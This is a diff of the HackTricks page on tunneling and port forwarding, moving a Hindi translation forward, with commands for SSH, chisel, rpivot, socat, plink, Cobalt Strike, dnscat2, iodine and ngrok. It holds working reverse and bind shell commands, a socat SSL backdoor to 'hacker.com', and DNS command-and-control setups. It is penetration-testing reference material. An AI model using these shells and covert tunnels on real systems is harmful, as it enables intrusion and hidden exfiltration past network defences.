* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,34 +1,37 @@
# टनलिंग और पोर्ट फॉरवर्डिंग
# Tunneling and Port Forwarding
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करना चाहते हैं? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) में या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**ट्राई हार्ड सिक्योरिटी ग्रुप**
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Nmap टिप
## Nmap tip
{% hint style="warning" %}
**ICMP** और **SYN** स्कैन को सॉक्स प्रॉक्सी के माध्यम से टनल नहीं किया जा सकता है, इसलिए हमें **पिंग खोज को अक्षम करना** (`-Pn`) और इस काम के लिए **TCP स्कैन** (`-sT`) निर्दिष्ट करना होगा।
**ICMP** और **SYN** स्कैन को सॉक्स प्रॉक्सी के माध्यम से टनल नहीं किया जा सकता, इसलिए हमें **पिंग डिस्कवरी** (`-Pn`) को **अक्षम** करना होगा और इसके लिए **TCP स्कैन** (`-sT`) निर्दिष्ट करना होगा।
{% endhint %}
## **बैश**
## **Bash**
**होस्ट -> जंप -> आंतरिक ए -> आंतरिक ब**
**Host -> Jump -> InternalA -> InternalB**
```bash
# On the jump server connect the port 3333 to the 5985
mknod backpipe p;
@ -50,7 +53,7 @@ SSH ग्राफिकल कनेक्शन (X)
```bash
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
```
### स्थानीय पोर्ट से पोर्ट
### Local Port2Port
SSH सर्वर में नया पोर्ट खोलें --> अन्य पोर्ट
```bash
@ -60,23 +63,23 @@ ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in
```bash
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
```
### पोर्ट2पोर्ट
### Port2Port
स्थानीय पोर्ट --> प्रभावित होस्ट (SSH) --> तीसरा\_बॉक्स:पोर्ट
स्थानीय पोर्ट --> समझौता किया गया होस्ट (SSH) --> तीसरा\_बॉक्स:पोर्ट
```bash
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Example
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
```
### पोर्ट2होस्टनेट (प्रॉक्सीचेन्स)
### Port2hostnet (proxychains)
स्थानीय पोर्ट --> प्रभावित होस्ट (SSH) --> कहीं भी
स्थानीय पोर्ट --> समझौता किया गया होस्ट (SSH) --> कहीं भी
```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```
### रिवर्स पोर्ट फॉरवर्डिंग
### Reverse Port Forwarding
यह आपके होस्ट के माध्यम से आंतरिक होस्ट से रिवर्स शैल्स प्राप्त करने के लिए डीएमजेड के माध्यम से उपयोगी है:
यह आंतरिक होस्ट से DMZ के माध्यम से आपके होस्ट पर रिवर्स शेल प्राप्त करने के लिए उपयोगी है:
```bash
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
@ -87,7 +90,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
```
### VPN-Tunnel
आपको **दोनों उपकरणों में रूट अधिकार** चाहिए होते हैं (क्योंकि आप नए इंटरफेस बनाने जा रहे हैं) और sshd कॉन्फ़िग root लॉगिन की अनुमति देनी चाहिए:\
आपको **दोनों उपकरणों में रूट** की आवश्यकता है (क्योंकि आप नए इंटरफेस बनाने जा रहे हैं) और sshd कॉन्फ़िगरेशन को रूट लॉगिन की अनुमति देनी होगी:\
`PermitRootLogin yes`\
`PermitTunnel yes`
```bash
@ -97,40 +100,38 @@ ifconfig tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface
```
सर्वर साइड पर फॉरवर्डिंग सक्षम करें
सर्वर पक्ष पर फॉरवर्डिंग सक्षम करें
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```
ग्राहक साइड पर एक नया मार्ग सेट करें
क्लाइंट साइड पर एक नया रूट सेट करें
```
route add -net 10.0.0.0/16 gw 1.1.1.1
```
## SSHUTTLE
आप एक **subnetwork** के माध्यम से **host** के माध्यम से सभी **ट्रैफिक** को **ssh** के माध्यम से **tunnel** कर सकते हैं।\
उदाहरण के लिए, 10.10.10.0/24 को जाने वाले सभी ट्रैफिक को फॉरवर्ड करना।
आप **ssh** के माध्यम से सभी **traffic** को एक **subnetwork** के माध्यम से एक होस्ट पर **tunnel** कर सकते हैं।\
उदाहरण के लिए, 10.10.10.0/24 पर जाने वाले सभी traffic को अग्रेषित करना
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```
एक निजी कुंजी के साथ कनेक्ट करें
निजी कुंजी के साथ कनेक्ट करें
```bash
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode
```
## मीटरप्रेटर
## Meterpreter
### पोर्ट2पोर्ट
### Port2Port
स्थानीय पोर्ट --> प्रभावित होस्ट (सक्रिय सत्र) --> तीसरा\_बॉक्स:पोर्ट
स्थानीय पोर्ट --> समझौता किया गया होस्ट (सक्रिय सत्र) --> तीसरा\_बॉक्स:पोर्ट
```bash
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
```
### SOCKS
SOCKS (Socket Secure) प्रॉक्सी सर्वर का उपयोग करके टनलिंग करने का एक प्रमुख तरीका है। यह TCP और UDP ट्राफिक को टनल करने की क्षमता रखता है।
```bash
background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
@ -151,11 +152,11 @@ set VERSION 4a
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
## कोबाल्ट स्ट्राइक
## Cobalt Strike
### सॉक्स प्रॉक्सी
### SOCKS प्रॉक्सी
टीमसर्वर में एक पोर्ट खोलें जो सभी इंटरफेस में सुन रहा हो और जिसका उपयोग **बीकन के माध्यम से ट्रैफिक रूट करने के लिए** किया जा सकता है
टीमसर्वर में एक पोर्ट खोलें जो सभी इंटरफेस में सुन रहा हो जिसे **बीकन के माध्यम से ट्रैफिक रूट करने के लिए** उपयोग किया जा सके
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
@ -166,16 +167,22 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port
{% hint style="warning" %}
इस मामले में, **पोर्ट बीकन होस्ट में खोला जाता है**, टीम सर्वर में नहीं, और यातायात टीम सर्वर पर भेजा जाता है और फिर वहां से निर्दिष्ट होस्ट:पोर्ट पर।
इस मामले में, **पोर्ट बीकन होस्ट में खोला जाता है**, टीम सर्वर में नहीं और ट्रैफ़िक टीम सर्वर को भेजा जाता है और वहां से निर्दिष्ट होस्ट:पोर्ट पर भेजा जाता है
{% endhint %}
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
To note:
- Beacon का रिवर्स पोर्ट फॉरवर्ड **टीम सर्वर के लिए ट्रैफ़िक टनल करने के लिए डिज़ाइन किया गया है, व्यक्तिगत मशीनों के बीच रिले करने के लिए नहीं**
- ट्रैफ़िक **बीकन के C2 ट्रैफ़िक के भीतर टनल किया जाता है**, जिसमें P2P लिंक शामिल हैं।
- **उच्च पोर्ट पर रिवर्स पोर्ट फॉरवर्ड बनाने के लिए प्रशासनिक विशेषाधिकार की आवश्यकता नहीं है**
### rPort2Port स्थानीय
{% hint style="warning" %}
इस मामले में, **पोर्ट बीकन होस्ट में खोला जाता है**, टीम सर्वर में नहीं, और **ट्रैफिक को कोबाल्ट स्ट्राइक क्लाइंट** (टीम सर्वर पर नहीं) भेजा जाता है और वहां से निर्दिष्ट होस्ट:पोर्ट को।
इस मामले में, **पोर्ट बीकन होस्ट में खोला जाता है**, टीम सर्वर में नहीं और **ट्रैफिक को कोबाल्ट स्ट्राइक क्लाइंट** (टीम सर्वर को नहीं) पर भेजा जाता है और वहां से निर्दिष्ट होस्ट:पोर्ट पर भेजा जाता है
{% endhint %}
```
rportfwd_local [bind port] [forward host] [forward port]
@ -189,10 +196,10 @@ rportfwd_local stop [bind port]
```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
## चिसल
## Chisel
आप इसे [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) के रिलीज़ पेज से डाउनलोड कर सकते हैं।\
आपको **क्लाइंट और सर्वर के लिए समान संस्करण का उपयोग करना होगा**
आप इसे [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) के रिलीज़ पृष्ठ से डाउनलोड कर सकते हैं।\
आपको **क्लाइंट और सर्वर के लिए समान संस्करण का उपयोग करना होगा**
### socks
```bash
@ -208,11 +215,11 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim
```
## आरपिवट
## Rpivot
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
रिवर्स टनल। टनल पीड़ित से शुरू किया जाता है।\
रिवर्स टनल। टनल पीड़ित से शुरू होती है।\
127.0.0.1:1080 पर एक socks4 प्रॉक्सी बनाई जाती है।
```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
@ -233,25 +240,25 @@ victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntl
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### बाइंड श
### बाइंड श
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337
```
### रिवर्स श
### रिवर्स श
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
### पोर्ट से पोर्ट
### Port2Port
```bash
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
```
### सॉक्स के माध्यम से पोर्ट से पोर्ट टनलिंग
### Port2Port through socks
```bash
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
```
### SSL सोकैट के माध्यम से मीटरप्रेटर
### SSL Socat के माध्यम से Meterpreter
```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
@ -261,17 +268,17 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
आप एक **गैर प्रमाणीकृत प्रॉक्सी** को छलकरने के लिए इस पंक्ति को बजाय पीड़ित कोन्सोल में पिछली पंक्ति की बजाय निष्पादित कर सकते हैं:
आप एक **गैर-प्रमाणित प्रॉक्सी** को बायपास कर सकते हैं, इस पंक्ति को पीड़ित के कंसोल में अंतिम पंक्ति के बजाय निष्पादित करके:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
### SSL Socat टनल
### SSL Socat Tunnel
**/bin/sh कंसोल**
दोनों ओर पर प्रमाणपत्र बनाएं: क्लाइंट और सर्वर
दोनों पक्षों पर प्रमाणपत्र बनाएं: क्लाइंट और सर्वर
```bash
# Execute these commands on both sides
FILENAME=socatssl
@ -285,9 +292,9 @@ chmod 600 $FILENAME.key $FILENAME.pem
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```
### रिमोट पोर्ट2पोर्ट
### Remote Port2Port
लोकल SSH पोर्ट (22) को हमलावर होस्ट के 443 पोर्ट से कनेक्ट करें
स्थानीय SSH पोर्ट (22) को हमलावर होस्ट के 443 पोर्ट से कनेक्ट करें
```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
@ -295,18 +302,18 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
```
## Plink.exe
यह एक कंसोल PuTTY संस्करण की तरह है (विकल्प एक ssh client के बहुत ही समान हैं)।
यह एक कंसोल PuTTY संस्करण की तरह है (विकल्प ssh क्लाइंट के बहुत समान हैं)।
जैसे ही यह बाइनरी पीड़ित में निष्पादित होगा और यह एक ssh client है, हमें अपनी ssh सेवा और पोर्ट खोलने की आवश्यकता है ताकि हमें एक रिवर्स कनेक्शन हो सके। फिर, केवल स्थानीय रूप से पहुंचने योग्य पोर्ट को हमारी मशीन में एक पोर्ट पर फॉरवर्ड करने के लिए:
चूंकि यह बाइनरी पीड़ित में निष्पादित की जाएगी और यह एक ssh क्लाइंट है, हमें अपनी ssh सेवा और पोर्ट खोलने की आवश्यकता है ताकि हम एक रिवर्स कनेक्शन प्राप्त कर सकें। फिर, केवल स्थानीय रूप से सुलभ पोर्ट को हमारे मशीन के पोर्ट पर अग्रेषित करने के लिए:
```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
```
## Windows netsh
### पोर्ट2पोर्ट
### Port2Port
आपको किसी भी पोर्ट के लिए स्थानीय व्यवस्थापक होना चाहिए
आपको स्थानीय व्यवस्थापक होना आवश्यक है (किसी भी पोर्ट के लिए)
```bash
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
@ -316,12 +323,12 @@ netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
```
## SocksOverRDP और Proxifier
## SocksOverRDP & Proxifier
आपको **सिस्टम पर RDP एक्सेस** होना चाहिए।\
डाउनलोड करें:
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - यह टूल `Windows` की Remote Desktop Service सुविधा से `Dynamic Virtual Channels` (`DVC`) का उपयोग करता है। DVC **RDP कनेक्शन के माध्यम से पैकेट्स को टनल करने** के लिए जिम्मेदार है।
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - यह उपकरण Windows की Remote Desktop Service सुविधा से `Dynamic Virtual Channels` (`DVC`) का उपयोग करता है। DVC **RDP कनेक्शन के माध्यम से पैकेट्स को टनलिंग** के लिए जिम्मेदार है।
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
अपने क्लाइंट कंप्यूटर में **`SocksOverRDP-Plugin.dll`** इस तरह लोड करें:
@ -329,28 +336,28 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
अब हम **RDP**ा उपयोग करके **विक्टिम** से **कनेक्ट** कर सकते हैं, और हमें एक **प्रॉम्प्ट** मिलना चाहिए जिसमें कहा जाएगा कि **SocksOverRDP प्लगइन सक्षम** है, और यह **127.0.0.1:1080** पर **सुनेगा**
अब हम **RDP**े माध्यम से **victim** से **`mstsc.exe`** का उपयोग करके **connect** कर सकते हैं, और हमें एक **prompt** प्राप्त होना चाहिए जिसमें कहा गया है कि **SocksOverRDP plugin is enabled**, और यह **127.0.0.1:1080** पर **listen** करेगा
**RDP** के माध्यम से **कनेक्ट** करें और विक्टिम मशीन में `SocksOverRDP-Server.exe` बाइनरी अपलोड और चलाएं:
**RDP** के माध्यम से **connect** करें और victim मशीन में `SocksOverRDP-Server.exe` बाइनरी को अपलोड और निष्पादित करें:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
अब, अपन मशीन (हमलावर) में पुष्टि करें कि पोर्ट 1080 सुन रहा है:
अब, अपन मशीन (हमलावर) में पुष्टि करें कि पोर्ट 1080 सुन रहा है:
```
netstat -antb | findstr 1080
```
अब आप [**Proxifier**](https://www.proxifier.com/) **का उपयोग करके उस पोर्ट के माध्यम से ट्रैफिक को प्रॉक्सी कर सकते हैं।**
अब आप [**Proxifier**](https://www.proxifier.com/) **का उपयोग करके उस पोर्ट के माध्यम से ट्रैफिक को प्रॉक्सी कर सकते हैं।**
## Windows GUI Apps को प्रॉक्सीफाई करें
## Windows GUI ऐप्स को प्रॉक्सी करें
आप [**Proxifier**](https://www.proxifier.com/) का उपयोग करके Windows GUI apps को प्रॉक्सी के माध्यम से नेविगेट कर सकते हैं।\
आप Windows GUI ऐप्स को [**Proxifier**](https://www.proxifier.com/) का उपयोग करके प्रॉक्सी के माध्यम से नेविगेट कर सकते हैं।\
**Profile -> Proxy Servers** में SOCKS सर्वर का IP और पोर्ट जोड़ें।\
**Profile -> Proxification Rules** में प्रॉक्सीफाई करने के लिए कार्यक्रम का नाम और प्रॉक्सीफाई करना चाहते हुए IPs के संबंध में जोड़ें।
**Profile -> Proxification Rules** में प्रॉक्सी करने के लिए प्रोग्राम का नाम और उन IPs के लिए कनेक्शन जोड़ें जिन्हें आप प्रॉक्सी करना चाहते हैं।
## NTLM प्रॉक्सी बापास
## NTLM प्रॉक्सी बापास
पहले से उल्लिखित उपकरण: **Rpivot**\
**OpenVPN** भी इसे बाईपास कर सकता है, इसे कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित विकल्प सेट करके:
पहले उल्लेखित उपकरण: **Rpivot**\
**OpenVPN** भी इसे बायपास कर सकता है, कॉन्फ़िगरेशन फ़ाइल में ये विकल्प सेट करके:
```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
```
@ -358,8 +365,8 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
यह प्रॉक्सी के खिलाफ प्रमाणीकरण करता है और स्थानीय रूप से एक पोर्ट को बाँधता है जो आप निर्दिष्ट बाह्य सेवा की ओर फॉरवर्ड किया जाता है। फिर, आप इस पोर्ट के माध्यम से अपनी पसंद का उपकरण उपयोग कर सकते हैं।\
उदाहरण के लिए जो पोर्ट 443 को फॉरवर्ड करता है
यह एक प्रॉक्सी के खिलाफ प्रमाणीकरण करता है और एक पोर्ट को स्थानीय रूप से बाइंड करता है जो आपके द्वारा निर्दिष्ट बाहरी सेवा की ओर अग्रेषित होता है। फिर, आप इस पोर्ट के माध्यम से अपनी पसंद के उपकरण का उपयोग कर सकते हैं।\
उदाहरण के लिए, वह पोर्ट 443 को अग्रेषित करें
```
Username Alice
Password P@ssw0rd
@ -367,12 +374,12 @@ Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```
अब, यदि आप उदाहरण के रूप में पीड़ित में **SSH** सेवा को पोर्ट 443 में सुनने के लिए सेट करते हैं। आप उससे आक्रमणकर्ता पोर्ट 2222 के माध्यम से कनेक्ट कर सकते हैं।\
आप एक **meterpreter** भी उपयोग कर सकते हैं जो localhost:443 से कनेक्ट करता है और हमलावर पोर्ट 2222 में सुन रहा है।
अब, यदि आप उदाहरण के लिए पीड़ित में **SSH** सेवा को पोर्ट 443 पर सुनने के लिए सेट करते हैं। आप इसे हमलावर पोर्ट 2222 के माध्यम से कनेक्ट कर सकते हैं।\
आप एक **meterpreter** का भी उपयोग कर सकते हैं जो localhost:443 से कनेक्ट होता है और हमलावर पोर्ट 2222 पर सुन रहा है।
## YARP
माइक्रोसॉफ्ट द्वारा बनाया गया एक रिवर्स प्रॉक्सी। आप इसे यहाँ पा सकते हैं: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
Microsoft द्वारा बनाया गया एक रिवर्स प्रॉक्सी। आप इसे यहाँ पा सकते हैं: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
## DNS Tunneling
@ -380,21 +387,21 @@ Tunnel 2222:<attackers_machine>:443
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
टन एडाप्टर बनाने और DNS क्वेरी का उपयोग करके उनके बीच डेटा टनल करने के लिए दोनों सिस्टम में रूट की आवश्यकता है।
दोनों सिस्टम में टन एडाप्टर बनाने और DNS क्वेरी का उपयोग करके उनके बीच डेटा टनल करने के लिए रूट की आवश्यकता होती है।
```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
यह टनल बहुत धीमा होगा। आप इस टनल के माध्यम से एक संकुचित SSH कनेक्शन बना सकते हैं इसके द्वारा:
The tunnel बहुत धीमा होगा। आप इस टनल के माध्यम से एक संकुचित SSH कनेक्शन बना सकते हैं:
```
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
### DNSCat2
[**यहाँ से डाउनलोड करें**](https://github.com/iagox86/dnscat2)**.**
[**इसे यहाँ से डाउनलोड करें**](https://github.com/iagox86/dnscat2)**.**
DNS के माध्यम से सीएंडसी चैनल स्थापित करता है। इस लिए रूट विशेषाधिकार की आवश्यकता नहीं है।
DNS के माध्यम से C\&C चैनल स्थापित करता है। इसे रूट विशेषाधिकारों की आवश्यकता नहीं है।
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
@ -403,9 +410,9 @@ victim> ./dnscat2 tunneldomain.com
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
```
#### **पॉवरशेल में**
#### **PowerShell में**
आप [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) का उपयोग कर सकते हैं ताकि पॉवरशेल में dnscat2 क्लाइंट चला सकें:
आप [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) का उपयोग करके PowerShell में dnscat2 क्लाइंट चला सक हैं:
```
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
@ -415,11 +422,11 @@ Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret som
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
#### प्रॉक्सीचेन्स DNS बदलें
#### Proxychains DNS बदलें
प्रॉक्सीचेन्स `gethostbyname` libc कॉल को अंतर्गत करता है और tcp DNS अनुरोध को socks प्रॉक्सी के माध्यम से टनल करता है। **डिफ़ॉल्ट** रूप से प्रॉक्सीचेन्स द्वारा उपयोग किया जाने वाला **DNS** सर्वर **4.2.2.2** (हार्डकोडेड) है। इसे बदलने के लिए, फ़ाइल को संपादित करें: _/usr/lib/proxychains3/proxyresolv_ और IP को बदलें। यदि आप **Windows परिवेश** में हैं तो आप **डोमेन कंट्रोलर** का IP सेट कर सकते हैं।
Proxychains `gethostbyname` libc कॉल को इंटरसेप्ट करता है और tcp DNS अनुरोध को socks प्रॉक्सी के माध्यम से टनल करता है। **डिफ़ॉल्ट** रूप से, **DNS** सर्वर जो proxychains उपयोग करता है वह **4.2.2.2** है (हार्डकोडेड)। इसे बदलने के लिए, फ़ाइल संपादित करें: _/usr/lib/proxychains3/proxyresolv_ और IP बदलें। यदि आप **Windows वातावरण** में हैं, तो आप **डोमेन कंट्रोलर** का IP सेट कर सकते हैं।
## गो में टनल्स
## गो में टनल
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
@ -430,7 +437,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
दोनों सिस्टम में टन एडाप्टर बनाने और ICMP इको अनुरोधों का उपयोग करके उनके बीच डेटा टनल करने के लिए रूट की आवश्यकता है
दोनों सिस्टम में रूट की आवश्यकता होती है ताकि tun एडाप्टर बनाए जा सकें और ICMP इको अनुरोधों का उपयोग करके उनके बीच डेटा टनल किया जा सके
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
@ -438,7 +445,7 @@ ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.1
```
### ptunnel-ng
[**यहाँ से डाउनलोड करें**](https://github.com/utoni/ptunnel-ng.git).
[**इसे यहाँ से डाउनलोड करें**](https://github.com/utoni/ptunnel-ng.git).
```bash
# Generate it
sudo ./autogen.sh
@ -454,8 +461,8 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
```
## ngrok
**[ngrok](https://ngrok.com/) एक उपकरण है जो इंटरनेट में समाधानों को एक कमांड लाइन में उजागर करने के लिए है।**
*एक्सपोजिशन URI की तरह हैं:* **UID.ngrok.io**
**[ngrok](https://ngrok.com/) एक उपकरण है जो एक कमांड लाइन में समाधानों को इंटरनेट पर उजागर करता है।**
*उजागर URI इस तरह हैं:* **UID.ngrok.io**
### स्थापना
@ -467,13 +474,13 @@ chmod a+x ./ngrok
# Init configuration, with your token
./ngrok config edit
```
### मूल उपयोग
### Basic usages
**दस्तावेज़ीकरण:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
**Documentation:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
*यदि आवश्यक हो तो प्रमाणीकरण और TLS भी जोड़ा जा सकता है।*
